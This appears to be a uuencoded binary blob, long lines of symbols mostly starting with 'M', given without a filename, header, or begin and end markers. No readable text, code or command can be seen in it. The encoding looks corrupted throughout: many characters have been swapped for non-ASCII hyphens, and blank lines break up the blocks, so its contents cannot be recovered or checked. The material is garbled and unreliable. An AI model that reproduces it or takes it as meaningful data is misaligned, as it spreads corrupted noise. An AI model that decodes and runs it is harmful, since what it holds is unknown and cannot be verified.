MW_M:SKSC[;!P#JL^@_,Y_@M3?I^=DR]AQ]`?6![‑V,0F#H8>V!((?,4LS.)6 M^E,AFV+W9YYZ+_Y05!7B)N.T‑N_\5_S6O6"0M+_?Y&!ERQE>&_YYG‑O\2U;, M&28V9OU<NO2VU"\`\*Z&!8[^G998)HO4L>[6‑@:AX#MX*B@>2^#7PA[@Q2X" M?^@)LG8M(;.3!,.A&";?Q,F@:7S^\_TQITV2"NH35WZZ=V0*(I+K15‑+"=%# MF(*=0_23B"WT&+?W#C2]FW`<1&9EFS:5!)@DNIQIM=WT:9]>V=!/‑;_‑ZM7= ML%/+_JCKF><*!*FDC=&P4<?CHF<I1^PD‑:BG;50J(;`6_X&2=RAU6HG+ALT$ MYL:HOE'@*<QH^+4HX%(2PAG>)AY93?O4A2H.(3Y8K6QP$,I"]F=MH^"=!<TE M.?]5H8CIRD&X4<K&)0.Z^‑A5/PH_P.V854&.V<9;G)%I"/?)X=@@2JY6GO1V MJVJ"LM;A_YX\NN%\M`8^!6UG8068;7BA8K=80I@G!BYK#?2‑"W]2+,_PQ66I M_])CZSZA:F=='L"^`I.]MX,K>9K3;+<=2:_]A,916T:ZAPW4D#S*CBK>:JP< M:*5/6R@82%Y9_[TH%^JF6(:_IK.3\0Y#_‑JEZ"T8GOW\6EI"/0K/E0ZHY)<& MA"DHBWQOMT)MYZPS<^/^&W]_MU\A=6B_N8MC\H"8L>:OX/3+DF`BT3FZ^^>I MT?C=<=JGC;\?<$1=]10>4IT'#H_(<</"[D_8D(G`))ILW+I)F\W7]]Q>;;$+ M7PI%>\P]D‑Y1ZZ[!<A5&+/(Z6$5215ZYC_"C.4'[O>F0!>=T/V6F\(":\/A+ M%)&[`"D*H<;N/.N)!NL.#?*RBE7DW8VH.VJV[3$V63EFX*1:PV'&(Q"‑;)@F MY)$B^<0F]IKEZ6KZ!Y&M<F3E"]"NV%0Y2>"]4OQ?%CPHZ;:F[?X`7EB[_"&+ M_2_^L?Y`WM>L?$+]TZ^*C,1S0,D`<‑[Z'6P&P:_=7_=E+P*V>V6P8SXGFX'? M9YD7+#]‑M[;BM\B8D=4BTZOF,LA@PF^J;9!>9:U@:S!L>UUM:'.‑BO'/6.P) M%'_‑6EFQA;WE?IDG!@1L+YUZD[3X/?*?YIL@*\D]6B\DW8J%,5$V!DY!C1'8 M$7KJK]":74`MX;HKE9H%#=M+HX\413&I5[E4`)Q3J:D)Q@Q8JI7R=%_@#=^H M^5:LNG.‑=;,YF2>$,EWIXO‑G=CC;X+@1,C>XK]*L"V.=89R‑<DK9*:VRAWF7 MPJ*E(D>.G68MZU"J^]2%PO)24W$7JS*`R7FD$QL)=U<R@IZ310L`I:A!G4P2 M+)O5.$=30Q/M/A>K'7`[US0A=.'[‑[ZY)6J6L;&[FYFORJV!!X242)570[G\ MG!'*7E:X.5=4$[B05C])B,D!,9BL@HH0.%5>'(CHK13F%#9GK1Z!3I_J=@_= MIMH3)?4G,R3_.U+`G#+Q(I‑@<_\K‑W%UV^"T\6#PI13<J"6(')H?P*%WR8%1 M18DD5D>@>KFB'X2]N!3`=[=A`R:U?)QQNO;"_30JZ3=‑#6^O,\7FS)7V7BOF M3‑Y%‑.2QR[EFEG8F'QD9`U'EKX2R2OO3?VV5*#9+V4D8Q4R11HJ8OPE)4DUM M74+!Z2R.2B@C_>IWG1M27HW718I>J$41;)4=7=.UN?!ZBQYI:JB*"7*I1"(Q MH53J3DL(Z`_]E3*CI*K‑]%92047]‑W>"I$L1]CS(8%KSTJ@QO%DOM6`M(G7& M<H)"‑1BR.63>)$O5.7ABPUI1G6K#Q4G>"O5OAO*04\2T1K&;D*DP0Y@"OS:W M;98J:(‑V^16$N‑A"1A>C.=+[C14N664LU?U82L`4=%8))B)DTS(FI_]T(4)E M#E_F4‑Q'5*H$2G>932V6%MCSM'P5XJ6FN%2QJ[)\=:S_&8EE=P*Q0Z50XA&H MYA8K8O+=6K0\K&>S4A1%Y1#)V_;(28FSG,VO,E*‑*JL"BG@#;+>‑;&=3DK$A MKR5/‑;X@L75AMK18I8UQK$?/@UA+W%DJT0PO8[95>"ZP0>YFJE2JV44EW9;' M>IA])++C"U)SDYI6A7@_/H6$%HE%.@$>ZPD+`<ZF@2>O"JM$=M;23P68A9‑M M%'EH‑T`2(B$5U.4W,TT::?5G@+M,H^T%26%#O15H3/9C5L'\<2[H:&#CUKT2 M05$.3$GTL^U2O$@,"D&DZ%Q3!Z+6JM$‑65E,UF9&C5(MC#BXO57Q(Q>59S*4 MHF8‑#]7CJU^#UJM2;8V9SP,RPW,I1>&*ILPE9>^T*UDH20G>2S2_64J,..*% MO<U"C+YP<55L#&%@]R94+1*E@<%#%+(#9',WBY%&?HS+L#KN4C2:9#"8SAKF M_6XT:41ZJBHQWVB_&CG:";`\K<R_4`GM(D+:GPVO=7<5"XG].:6S]L\DW8$+ M7$/(V01&*XZ%‑56$Q6VF_5HF:D$LX4&9XF6‑SH;"‑C4QE+Q55I+J:O8JO$I+ ML0)DPO0J4@W!*C‑6JL*.K.C591]$)@S>8BF>GB2=$E4ZJB^"U4G.64UR"9T= M=0O1`H)X.)*]08R9P,T\‑Y'6F"E$F95#'\H<B!K]?"RB;6/VQWJT$A.#*QDS M6I+L9D]J'+D<"`%805(^;‑7?RLS2)=8H<!:RK)`TG!(L8+‑58WJKAB@(*G2A MF()UH*.DF_//VF.&‑^NF)NTUPLE1JH)6>&EX2OK1")VCN:O;COFS`^.S#1C1

MR‑HO^YY>NFC1GR6N+Q1R;Y7SBEJ#ZM(1P(%Y+`H4H\:J)!:*T6A.X(+3XL56 MK'6&?%(B_Z@\,L2J(4)+K7'!)9HF&<3%BA\):J46'U!F!D6)‑05^2Z_%PHR8 M4.AT@,W:7‑2;FV&$G$‑PB!`T;/8KM(IXCY2I%K!6M*4:SM]PGJU+3_VM8C<L ME,">0@R"X(S*"9L6R>`YFATYE)'#,3F>15K+QY2S,,<23RL)@‑"`//7W5M6Y

MNQ4F[7$[X‑.'HNM%G(X,FH:8Y(])T‑\T#M3QTO:MH4[*M^R3A8*)1:JC"RE^ MB=JET4I\Q‑ZO.!83?$"54%*8$[WR_%2$DWK3F@JP:[<5I]1C2YGL+Y.TQVGT M'N8>5:B'B&CG>,&>/:!:#R;1X]T3[;MH>49K*/>&C7W.>_IX+ZKY+P.*^[[.

M`\)#GV*@)`(/&:(%D'H;HY"WT0&TQ'V+K(/2ET=NX8‑‑XL.7L1H,B%Q#,HKB M&(I5?`8VR%/"Y@$]!Y!\*O2GP&F73JL[_=R.&Y\4&?D\GKD#XC?*Z4V^0W;7 M?9T@NC]:91,(1'!GX_1H:%WF:%KP)A$1Y'XYR0%%:,'^U80N]O=K[J?/?66Z M/U+J9X0_B];\‑\U]:,_6*._%OS'Y;)_7=X^6F;Q6VK_4,'ZSZ'(B2_>?/V5/ M]P\1EQ507W9]B]Y=]Y7^)GO?L3O8]ZR[K:^\JS%WWOKI[C[7_$W/^HGK/;7I M,__0K<B_H#__7]80:M^YT.&`=Y_CW=S_06Z_H(K;[C\?@N=^+^@A$_S*`'I? MZE!^N>LKUE5ZHM%KUCZO%UZQD*GXOK'#5^LS6?6,S_LL[[‑M6'‑(:T811NLK MZO_$Q/67ZS.7%AFFO6:‑7ZRMWK*\+C[0^!D,:M9Y63;/JQ[/UA7J"?!_E3R[ M7K#P>@>K3UDS=0SB5ZPFCZQGJ[]969M^=?BO‑:UMZR>UMJ!ZUY)8F3UJ4W.^ M'UOK<BU#UIFE%6*I,4G7=A+,^M]:13ULJ[#UL‑'<D%[GO,U6N(11&G.%$0%; M:O&Q8FF"*"0T3U;&DU8‑)AB(#2+7K=‑$V+@+<B`UAH@VQD(B:<‑;THFBV75A M^_=3`‑1A5>LN#=&+J2*$H6G&V,<+W&U&‑L:$E,C6L'7&!<.4@H()F]H2B'K# M=‑:,$Q62[4L;%>ZD43C:,62DQMI5#1;FZJ&LHB4[L9<20TQZUP*JC51FJT2M""76S520:14>=")I(@IB11+7,D&)*B$53S2$6EI54+QGNL%^M+5PU=4KO:H( MT"4FFEU5IIKPE>MNB(K6$()ZR0016EME.LBTY_CNK%<XE6AMYAP:2/$LF6C" M65JQ2KA!`1:6FE14Q"(@CZUJ_#XETI,R%LJ31OGS?I(DJB*L'1NZLVLP*2!/ MRG‑A!HP#7QUT1PU$55$WR4M9$GK$E%TU$COQR9;R6U'6$53DF2PXM?46;2%F MEMGJ4F)BX(I6\THVJ1.2CA=G*3<5?%(YHU(&SBLK(*.D‑+(UB5!ST);HD46L M_XW5J/K<.NA2'$8<S%&$J[Z.8TU)`1B0N[O?%0A1*N2E(&VS6EQJLM2DI:7Y M3QW+@PTHUECK+;JPVXX1,2>ME]C#%%I%H4=647,WK40SZTNL(*814FL+&J<, MKYEHS856&VE:$)MC%8H:>/G;]5)":I‑$(1E(J+X*$:1$S()M(*(BTE"U=;5" M40X$JZN@BJ^KDH0%%09+6R`))YQ`=&J2,0!'#(L+BD7‑(!#AT=&*)J@,`DMH M4@JT@MP)NO62!G%RZC&H7ZV58V_+_:PPB\NNF`U7,4?63UMPX90K2AIY+`QB MJ@T"#^/#GM;)B3.H;RAJ`YSNS)B@>5@%DTCPNQ%8D1]6AJ)<"5‑H!,HL$%2' MK7>HJ*TI2TTXM1I56O`N6K\!IN<‑=I^7T<@5BEWZ2M6I‑E$H5$&A2E/U]*]: M</03DP>4;K5BJ/K=U<KB2A$&8/6GA&*U^](K0F?_5>LAQY36E.]TU?'2`C7J MYGC36/;=MC.8BZZ.‑U[BV"X3&1W1\A(*BXQ^ZPS<‑SAOD‑1I$1?6.3;UL3L] M871K9M"Z2T,?UJKQR]\P(9NGNY‑($%Y85#^#+H.LE^MG3Q$Q'UJ;(F]B.J"F M3SN#?9ON53@R/FXI$1UL6A1"S<F(3>GK=!5?EY*3T,&1!TL:U:>.>M4R9/ZO M]9.._4G\_\]A8>JKW)OV)TO9!RX_R^:]+Z[UW@_5GDWSF.7UW^1Q[=W7IO.> MLE:T:=WY).[ZSM>ZK.8_!=X?6?2[KU[P[UY_#=‑*QQW#YBM;ZOTWKGTWS&AZ MO7H7ZW;NIUY[YM7'OX8Y>=_7>NXI<\B3OO5AV.)WM8"3HXXO[O_"1RM_A[IY M5?_C@"96,F;UDI_PY8WI*IQM?];!.3?\2[IVC@<64H_W/_*HK_JUN'YV3`'\ MQ/_+\_X;'86F\,L8:48`3T88!C`8RD57.[_C0BW=4Q5HZ,"2P:#7_=!X?>M_ MZX2<S‑3+4A'9:)&SQ5$`F)']‑MP"$‑O5!&.G<A>Q8‑TZYXJ$1#I_[J>U>!R: M,O\:W?CTRA2PQ[);18SP5RQ$0<[`B04K;9T.N$98<H`F\?U'_I.0G_'6&2H_ MVX$ST;7;^ZAW?\.3IP<0_V[A&K>N!O9.‑DO89#GH6?)G‑S2;&`?^K@_[)5+D MQI#H$‑=N%Y.=‑V<5‑F.&1IK&+[=‑_YL[Z^<'7?:8KGPCC1:@+<@]NQ;*^I:) MT2$C_1=?B&V%X#GCQX_U?[8<3!4L,!EB\$B3S`RJZ%7J2?N(=S)@Z$@53YB! M1JKS/5S5Q_GC2%SX0TI$EG#@=PSV]5O]‑U6_`/"I/L\:[G_JD3A_NL@U6$5A M:=I4>4GI1DUHC("36SPJ786TY6>K3BQH8‑FHR+K4THZE&["("D&I5O6<V>O? M5>*B<?"R!3G'%KM`)[V_P!&9E!_^N5<I+‑Z?Z'/!F(K').I$07<6WQ‑C>C"Z MJ76F;R)HTV>5LETESU(EP1DAGM,70()"U6OWH\9QLM9WQ7*A:R#9J(["9&+* ML$70^!L^%&E]`'B"^<TPAEJ=.H[V!5J=>‑N:CSL&E0:4H;!/^!DZ.'"(I>J9 M)CF\?HNP=3D!UU(X4P5*;1XK2,?!O>)LRR1<'8D[U>1M)":%[`>ZA5#OD8E6 M"(7L_WC4FE*J#."O:C$QP%/K*[RR]7DKED)'4F\>C+/MQ=ZC.%"EC!459/_Z MN=B9IKF'K@R'`E1Z$3`S>?2O]U\7*L^0Z>‑*:U68]]">[.^I0Z&DQX<_T^"L M5C:$)`H2N\NV3+!B!G%R@E!2F%YKIFF:F^*>"=‑V=(+X7CQNSPTYV#R;ZO%2 MD]Z_OG2QNWZ`&3_VTY_Y%A7G70R[6LT<HB6`(PQ5EX1J4ZE3K"<218$"[SHB MQD3B4!5/)@QWAD9OA")X:R\>BK32A1=ZID+P9NJP:D%#$B!BRED_U1B2S1?* MF?B`JRI9GZ`E:.3:09#1[:S,!+N;‑<"SN57>8O$FT(.)*3R.4!'>=H9#*CH! M3F/H?R6,KZ/EUG0M[*>Y)8,J5@YBI,:ZUCNESE/#=15#I*A2YA:QG&:1JJBR M‑@D_U.RV‑PE@E%0"E63M=0R>8HB%?)9'NF+]H<WI6M5HQ)ZJGBS`@`NMO*6C M*0N?PX^<RLJ?[L9]AR:_/F3E;5D1TU:5@>^&:0<&8L&4_]>BJ;/^'MOTUG*3 MPP+_?U()`644095E:'`@QL<KY:‑[1KYJ5O+?$TM[W@O2`;\]?1\,<[L(4%C[ M5[LYZ\=‑/AB%)TNRO_W6?0;<<GI]VQ6M1PA:,?2;AYDI83P>1"(V'@K&FP.# M)T4"_(9UP)*LM&%2@?\IK(J4)‑J2E`9.2_OQ‑3M,)[%CCTJK9D(>I)_<.P^6 M9/_:8<N0W"J#N&!GX53`]R52Y?%1FYMXE^7V1^IK1<=HJ(=U0D<,!?E#M‑89 M:7*E'RC9R^)OO,D(FP750]6!D_M[S<EG0S&IC.E4DGFM.K5WUQDQR+ZRDDSE M\JIP_I;OU%]9SI?3)&)5=+83D\J`42C*KA9)56$)4CQ@V;"8`<G9`"+2:76F M$‑/TFAQ9SHI8'F^1H4V*67G8Q%75R0FJJ‑>I$L>G51*W.CJ=P[E80"+$ED%B MPP;[76J(ESK,'"N';!O>9T7S*%PXLA;"D8D00L1+‑O<9S\?,/@4665R,!9E2 M,[8O>M18MUGZ[3_G>UZ^4P06C@Y1H9F6="2HHW`BYC_<5J%G‑5+5IDJK%=I< M)$95K$W(,(NL@=:E**4&QV5\9L25U7K=:2:Y>.%%81!R>]P53GF7Z%51NF\@ M:)IM#(J*;"'&?H8SG0XH9T70A5M,NQ`I^+64OL1D\'6B,H#&A(0JFVCN]"#L MHGMN:N1P;0‑+9\$#\FJS%B^.\,:WIG$Z\,,QO‑8LF_ZD)G>P"=7.^RXN""'> M=%<JAF@F\S?RAW%\$=;6*"M+$R")H:M1#9T%#<%0_*:65ETVGA>8K+VK2)>! M_P2:'H3%7FRG9Q_R0CH9*]X*`)=0[$4?9K@&!‑[@2I5!7@M80@5'T02Y1.#, M>$U(!3*\U55*BN\709Z'/ZO‑*/%:&UEIFSBY:2D[,%K).O_Q:E%E%(YJVTA3

MD]'G,25_NQKR43$"RVUK=1;`4,S(.Z'=:M$FDV2XX65^:S‑1>TFJ2R4U&JM# MQ4.]T&T`L,'42#UD@\,M&;8P9MNNZWLX3XU:5U;5#0Q4‑MWAEQ,0@U;[9.)L MZV+1:$$L1.9BTS'JQ4C)X3;)‑‑&S6B>^BM5E09C@E4W[?2)DTM[<U:S[44`F MM'>TRT+:Z@'.M1?2HN3‑FG=,?4PBS2Z+*/I.U'<.=0ZIH.J&;JT,6P$D@Q0`

M>=3_9RQTKPX%.#3)ZN5/!V8\ML5J)%;8CP(1$UK)#4!V#9!``/:;;&0`Q*%( M%7‑^‑.!'BM#YVVU@80$@/50GS:$D7:#Q1[WJ0MA?A%I["%>IVK6,5)B"``&# M@P=79"?DF8‑WXDA:8R=OH%I%,:9K(QOO]6IR#‑2L9P‑;$U6M0[38M5FH49I. MIW+%#?&>Z^K#G203:==+P\F4I:'UI3]9‑I+#4CU‑S<\[UJ5[AR,V1"@PH(]W MF%C`Q;@2&9SRK.Z[=/CUR=#!;8U?8SD,\^#5C+%Y=K&A45K14I0HI$I]5VY9 M6.EC6KN8KDR2CH['!F]P*]^C8\E‑9W*R66GR3M>8/,`JH2?+M%K(AML:5O9D MK,8.3$=JJ2M=‑4R4VBIRO\D'8CH*&=3@JP‑6:>^3G;(Z*]Q9E.K%JUD3‑@[1 MO]‑R(4V0OH9<QK7'01&G%!,BEZQWRMJ7YUAX=F6&5RF:TDM%9F:XG&QC&&%/ M?5F"'NDNE<C*"‑50*:B\U`N50:<(:‑22?GN%:2/_C*.4K*<SOQ43‑<_]AB=C MJZ*EXL#"8Q0VH@?3,L)MEF,)2SCMBBMYQ(3I5$%J#@11‑)J;O!LB*D!,8HAF M\D93"TCZOTIUS&BJ‑V@PJI(2)Q8A#A`,‑5C)+:J24+4Q*CSC%MU^IFQV.PAD M@B"!7I2BO@;C41>%34E8@56;":&11I\8K4@N/)T9`VWRB!C‑)*DF.%,5(0AQ MK7##IC%%8W=3EOU&#%+2+"C%Y7NHTV‑YT4Q'<B^=,4)'S>M7Q`2NC2M8,,DW MH3+(08BMT"3PK1T,7G[W*RLE;H2*5.'4.5X,SN0H5"FDNQ?H#Y;1RVOG`5PP MPR/;.JTY;'`;?5‑‑`=8K(U'5)C0DZ(.1J>>J[AIC2RTJ2XQ"X546:E65BH^I M#'@I2M+FJP*^QX.KG)`J_)_+N6>!S3.EX*K#%,%4(R@+)D&P9\V5WJ#9R1XJ M9N;55%.I&V3ULK)5%,UN=ZQ5^"IBJG%+PZN:*%>UZ/<BH2,S&ZNYJ5I8F/&2 M]]7AV5_6YG8LA71D:_C9SD659,X/.AKT>*,""LB1`J.HI,*F96WJE#9.2*EMC9.I55ZD*47")‑F14UCRX)HD(Z)*3P5J&*SP6<G:+(J(L[;Z,SQ]%?E#F\V> M7M\\B6%V%:0S':(.JP+"Q0E.1UY(?(SB2]/";'"5T3,;!*8B?V''G\N9T&X: MGE&=<ULL9M4ZR.GQ>X\M*#U&1PRJ``FBT"_2<4H+1:^'DI:KWYHB.L]S:*\E MX*5EHT2M/0XJRS,V0.DU764T9:*EZ<E4+F5%*44J\22I^(UA1K0TWH1‑IBPD M:FIDT8*95"20+MD;*D^R9<‑AH‑&N#:H08@([JJA0(X3BJ/O#\B+5,V)`.X2= M`=M5`0$U0?P,O&8^7)OLX9UWRL/OIMV‑N‑V,U5;‑57S4(]8F71:Y‑O%^LY=\ M3J'6.A:>D\I=;]‑SR,2F'@/A[Q1XC65$:H3VU))BBW53_>RX^@P$"R`B",/. M`_:‑D0#<L%:DE+=:"8D9(BJ#)OV/%HZP4"$+E"T`>6P4.'2*`@AD_5UI3ZTL MVO‑B*H2601^4;I,&VRU+6U,21%OL/F6Z0(Q^K2CY"#^PN3)4"`Y_^1O^P?T: MA$OT5<?F_D6I91/<K#_^>//Z[[.RM$"_RDK\LU(?=N6I5M$^J5'R;C%?ZO*.

M/8_6)NO&#UYE_VS68?V$?0BJ^IDM"0T‑BK^<Y:HI0/LQ\O1D‑)K_@@)^F\CI M6$A>==?7_:IHND&K^:]<>O9G[6R_B,X7US]S7‑]/Z[UU_+_01)B!QKXIR9_I MF)$G<&"V'_@._4"]U_?^_^CO1'"`<G<_\VMX(N?/+,!7VWMST7EONL>S?9,? M9XY*P697V9TWZ,GN"_:8_"@H?*Y]H47[)HKQ_LL5587VGM!P+;^(F+A[2X7, M^MT(:‑22"5H4^NDQ4E^SS!9[*SVFJA::6>T2ZD,[8VVZZY5HM(UIN%$E+L‑> MSP*CB[O'M$4P4P?:?^‑!D_^+KI1*?SI'.G‑[27M)G(AJ.G^.`_VOCG_?]]X@ MUSVFC[0YG_P&E/'*C=?7^*_:L]=(@31I3S<QBO:**)D]H4A^V‑^T/@M)[0‑M2#?M(/YN,0\4VT^‑]I=@B[7J>RA*]G")@,W[.76D]IJ.HRKO&*S0C7,V:+6O M9&EH9P9#V8GM$BWJHT_GX@6:PCZ*5KJ*@BD<&‑2%3U?\$"Q&R1J:KHQTF;(V M2#4]I"ZTK`.9&E%%`:KVCHVT@U‑!V]FS>X$16M9!D)2(JU‑TL;V5]HPDUN‑* MH,C##8BMR__<+P8LDW0+05P)`UL)(88%J"I46FAII4:BLIRGED+$5I,$'‑A8 MAH7Z]W.*P0WPM`Q+&ZO$‑9BS‑K*143>:6*60A%:&HBPV+3#40%+J2FAT+EL1 MA*6J06JD"(+2F$J4J(K0J0RK["1'%04BPE+*15!I1W1D>$((((EXJ61"4WHK M[‑#:I‑`:P‑$9B[T'=B%91%.1@KF$:UV0I43;,+2%:N_.<@I[2$4:1:&O#2I0 M‑JS+1`:4=L*F$FJ&4HM4PD14W2‑+30EIBP@J*'LVL‑%R*1D"*?MXVSA(HE^T MA;P9[+36ZP"BUJC&0(0CAMNFE9=E@MR;%CM))%6KEMCK)3:"QI:/9S‑D1501 M%‑7AI#`U1$S9!5&FFRY:W+2P5N$5$VL1HW7=72%K=EF6HM‑5</#MBT.]HB)2 M*TTB82"56C*DJ,8(TMH2FD&@:+8J"*M&IN:TS*(D%]DWG%C0ZU;=6"‑L%H@Z M66YTF31(N1,L;1`1D\/=0::5PQ!D""TTK2‑.&$A$1D]I9$I:MC2LQ;8*1I:2 ME%4:2E#=;2QDE$:4%0:J4D&)@:J(+07F$+X7[%P+2*"M‑.81HK(D2A&J01JE M5WH1,252AABISI#=E!04:H5!:5‑U%EU2EPE+3*TVE[9M3V,C6&+)3"45CQGM M,Y]RTH(T<9K+6D,C0K=W8TI!J_:8Q@IH4!I%PD%MJ$:H@)>+*L13/&'10L:* M'2H4T$=5$‑S")#Q0‑@;(K`F?XD*"3FD1_LA@,@TG1>#18E.D"RBYLT1*N2H4 M,$:T:J(BBTH).‑Y9A+JC2F4AHQJ4(L‑1$2E+>]L&CH)2)1H‑;@M&@$)L"FN* M)C!#=(#2K<E#CDY&75V;[R#!SPUJMDQ>:&P$,2HD2"*C51B(W=V824+QM$0X MFL‑THC2*‑L1H;9M6G^*>RQ`P#5*.Z[L6FE%VS=%UNP12ZD6I)!?:,T2"HJ.& MKN"(VS@RY+DP.\S(0UA$VD%Q"4@K$Q7),+9)5*AO95?3‑8;6G0A44&D44V0X MW#A,I"XPE%H2H2*\4+N#0TT0.")AQ9*A(A"6T2Y;4&TBIS.ET0=I*$%I%15= M(+%"0@J21HII*D((I2T**JBJ4H*M&DJ4<6#81053IMTVT)6*2')(W)B2RI‑7 M"2IBZ<+4&X1H1K@(2D5&E2KE1HPRA1IN5*IJD1&I$0@13:F@_0;OVC5HH,A1 MOEEXI"KN7(^R2[6‑&+O,P;TQ54E.9`0I%44:$<2+56P6A6EI5I1B79YZR""H MK5*XW+2HR2BI4(PDA(0E"R35L5$@[I,)'"E.T""(M7"L*EJJ4M"‑+2$G(FN= MF!3&;JAI3569:QC%\,8P)C2YHW26U3R2H"T)B5Y=JCA<Q35#J$+O&BU#`KPN M8IF6‑3KJ`536*!22@Q39NNR(‑6@8LA3J;:F`P._6J/9M78R‑/M)1%+:J)9A, MTM2",,I+Q=N3`H=DV^T:MPTJBIJWHC2])E:W?[Z8I%I"DI:!$‑=J2E?>64]J MP36$I:&@00TV=LK#%_(]/!GVFDXL79‑;98J)[2]ZC(?(>"F!.TA%:5:6FLZ+ M&3OK)<V]YO!@GG8<?ZF*MM,C8J‑N[V=D!0:;XOALYR4YE1I+‑..1HWR,A!_C MTO#A/9S"72.‑?:,4;‑)39":5"0R(FY24‑(JAV8;$YE`%C(LC$$7.&@3<+3/> MQ22,&D/',D&19L!@E$+_:R:(Q#R5VA9V4(<'%MFE+7LF+(+1[3J7IK(H]2$T MD7G.E[DL3V.]DB\?M(:XKJ2!LZEQ4%XYK‑U‑‑=*$YV;X\&S?#<(JZ[LXK`:2 M‑&F?:#[.RVQU8)?M(6.M)BI#‑EBJ+;[370U:=I&MIKKIEV$=G_U?1;K=I?MMZN6?L;0L7?FS&_67)@D2L')J>TQ#'?8TQ(59BAL.[[[./5‑6./8X]HY9[/.B M<3C5]I.A>M>TP>K.*:VI('JNPT)=?Y:'1D^\\S#Z/6IZB5SGOMAP1*QXG^BS MN=*_L37TMN?6?#<C#‑3/LT[?Z&>T]BGG>="]1+)/KP]>KR^C@>TR<R:5U7X' MV5GL]?8W*B>KPR5.3K69`_QN_F\QOUL(SK_9&/*^SH_RIKK\<SG4/8HM]#OO

M2^FP;NU^*VKV?(Z4<[AC'TDXQZ4K[S;;T,YQN/9‑3N],G1R3C]C[+&_/J‑N\ MLFAIPGL.,KP.GH/7R]W):376H<?L>543FP>%DXN3@?_TUSIR^QX],\IU_IL" M\[B+0T^:G_YNHZ__:IM__%I/_@Q.</_WAO5GTG<3JM46Y.WAJ\#0M\^]#,+C MR_XFH`)0%/66(S:M9[JJYK)KA5/8K4%F5@N*,N.PV:`C@&^L"P2RRY/3QXC_ MHM7"N<'NS:8JQ54B‑'4."SVX5M5=D03"WW54N#(]GA30SP‑‑'CV3&?\N*R]. MKQCDQ75.CCO95FFEZN_)*RU_])`%FMX<$5(>](:&)_VQXW‑RC;;5G.,[33*. M9J+)8AGS>/8!$X‑1E"!=RW,&%,21Z$)BLO)J!:5+BE3!H4(!AP9‑):XE<W,V MO9<2G81,UD!1"3I8B2)AR=\2(*,ZH*T:,41U.K,%)?YJJWZ2>]0E$?U,J?_% MFACTO+L'[RV)5&.2R'<EZ_)U,')RDR2:H8/TQA;.%P'‑54!5JH+I‑F8T*\"L M&RB55+EM`\I\#73Y+WRD:U&:TFA.VW=‑S<W*?^K8HMEBG8_X?\.QKW:MMU@_ M\M*^?5N6Q?8@KB`TT)W.DB!)NZR:)65C>7‑&ZRD>J+D*QUNBV#NH\7_YP5K= M8H_\TJE^5_V;R2`S$0^#W(R:3‑PT>9XD>/_:.XGH.]#S#)`X<%"*=O\)V<[, M@EPMB#6Z+@6CS7E:W.Q!+J/_9H5(S_]#=H_PK>48)'_X%A4U"@R)WQA:FH?> MQ=J.6E()![YE2Z`&4D&L&*A<`J;AW!=2CIP<C$P;S]‑2WC_]G\^TD.QZC*H_ M@U0`@H7:IEM"AC7:MQ[#VX1"NB?%&E>JEXMT?UU3$?Y73A+,&G3?R^^C3YK6 M,B:82RY_C7BZJNNG!XG='N!C_DAX[?.5<)`GF]9[PW5B?]][DX:ZI8P8WG9` MO9$‑EN10'.IH`'/T&A*#X`B`#\0N0!EA1Y"Z'8F=A%B6?+S*87H6UN6KUQ6! M!$$#O/6:RK7NKA2DDR)<)5JJ,>VF*WO7V_C2R+>%,&V2')BP<')V;<]7P:X% MA;+*9C*4,16;28\7Y)XF?@XHH(4+55<\?0ZJU‑:&BD:$>:1EDA%[,4^/BI8P M53;N0+@LF?@I[/,.'HKX\;<3BUGCC%UTLD47NM‑:W9XL!I0LD?_"4FGT:ET& M21)2:?F],N$,,7@$0S90XA60A47N\&‑?;1:,**4L:^8SE00/=3‑CV<&%=]J5 MG!VN6J!3,NEJX7_!4I\^]$!#PC!?_^\"UPM&.AN‑(*‑!X`1%[UG!`KX4!_^' M&O"\UXE"`<RL(HR(8<H3G>*DRB$+$NF94%:F[J'P93L^)6P\,^(BW^/(:["> ME8:!?0MM2++%H^CJ\"S"JG4;D'W3#5:,VW)E+<?C1@Q2CWFNS99?_=S@E.5E MI!N+CQ'6DT5BL91[VL.9#=,B3J5#=B>@CAPM,/5'SCC?C4UBRO9]G?>LI;$Q MJ@6$0,D60ZR@L\K,C$VI/Y>MYQ_AL\%VIJE%[AE\L():4"FD?\E3TFB‑+ELC M?K'`IH4B*+Z6\8BD8*I>'R)4K$T,#.8[/&A@Z62Y%SF^L%FL%<=J_.HM1'L5 M&9IE8X"_\IO7'XGQ9=B^8&L6L;'1$6\(RFRAI,23)2;<QN,RI!1DY%$=^‑;' MG6O;1KJVMYL9G2R`F$@XCVG$S.R,ID^A;*$8T>'<*,8BM4&T(B0J*!="8/25 M#!X#_H?**M0\H:(`(FM9[,PXZO.>D6NZN"%:6`"P;8‑4#VAJ8Q<)9/12R,C( M0P1=TD6@28JP^S`VV42&JD+.&5#$$($F92VF)2@‑S^YANW&J\"J4KL\SO"YK M<#EH"516E3,VFKFMI"F+/)H1B5=1(("^D‑(,F3W:S]K+DJ"2F7DE8F9VCA4Q M&=G?9$?&K:P@I)"S3!"HS"J#)T9*GV!/0LW)&538‑W4JJZ1*G4>6Y*+&E4[' MAGWDB7BN"_9<=F6.?OV<%%8*'&E2I%^%0*Q9\994N99@DM2C,?‑Z+4;U!"0V MELCW[O"'9R55A5BG98MEXGR0$5Z+U',[\K%)DYJG*?_Q*F‑&,)$J$SXJ8Q‑N M33%;G‑Z>!OJ^::3.YKW=R+\Q'<*F]@:YKZ:Z+2Y!84\EX@C!K:U)3)2$NSBX MV!SHTRZ'"K<M!/9AW"F*BC14Z)L‑V8T8N&CYQA,!6:SFS$((<:$MU7P>E7?( MT)%L$59‑EL\T5M]3HL[S3[B*A5@&%!P922+>RX>>TP3]!TRU&WI6G"K89F%( MM#,?%U*<Y&%,N96>6(K5Q`='7*O#"E00LJA!F0IF&[7AVD.W5LSR6=C9R%;? M`<*7Q1`BFN]1"A]E^/BSE&'QMV[29.!7.J,SE%8D2@+9M\'DC#]5L0AL,K`[ M)=BJ*:W!,!_R'3LQ)*1MFB.;Z]!L'>[^LJINZ](EB@97TX)+OKV85_FT‑&LA M63L_0&3QO1‑X=#PA8(\2‑SN`%H9S‑4%V[BDI*8HB=#31O:[V)@:*N@:R9K%9 M=6DSC.HCGK$!#QVQ"E2T$(',]"8S,U85@!#0W:3<G,/\&"0G$L=&7?EXI‑5, M=JG7514QOS4=_DZZ1A,);6R/<]E7$(IE9GE]SD:W&0"D@$BM,^:K‑.9_0V=P M‑*8)P8^Y%L;/*L0&5:Q4W‑:\K9%55%I\WQX0D<2V5L:Z2Y@6TJ83@&2LRJ‑7

